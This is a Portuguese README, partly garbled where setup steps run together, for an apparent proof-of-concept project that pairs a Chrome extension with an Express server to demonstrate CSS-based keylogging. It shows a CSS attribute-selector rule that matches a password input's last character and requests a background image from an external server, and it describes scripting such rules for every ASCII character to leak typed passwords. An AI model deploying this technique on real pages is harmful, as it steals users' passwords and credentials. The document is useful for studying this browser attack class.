
Extensão do Chrome e servidor Express que exploram as capacidades de keylogging do CSS.
Extensão do Chrome e servidor Express que explora capacidades de keylogging do CSS.
git clone https://github.com/maxchehab/CSS-Keyloggingchrome://extensions no seu navegador (ou abra o menu do Chrome clicando no ícone à direita da Omnibox: o ícone do menu são três barras horizontais. e selecione Extensões no menu Mais Ferramentas para chegar ao mesmo lugar).Carregar extensão não empacotada… para abrir uma janela de seleção de arquivo.css-keylogger-extension no diretório onde você baixou este repositório.yarnyarn startC no canto superior direito de qualquer página.Este ataque é muito simples. Utilizando seletores de atributo CSS, é possível solicitar recursos de um servidor externo sob o pretexto de carregar uma background-image.
Por exemplo, o seguinte CSS selecionará todos os inputs com type igual a password e value que termine com a.
Ele tentará então carregar uma imagem de http://localhost:3000/a.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Usando um simples script pode-se criar um arquivo css que enviará uma requisição personalizada para cada caractere ASCII.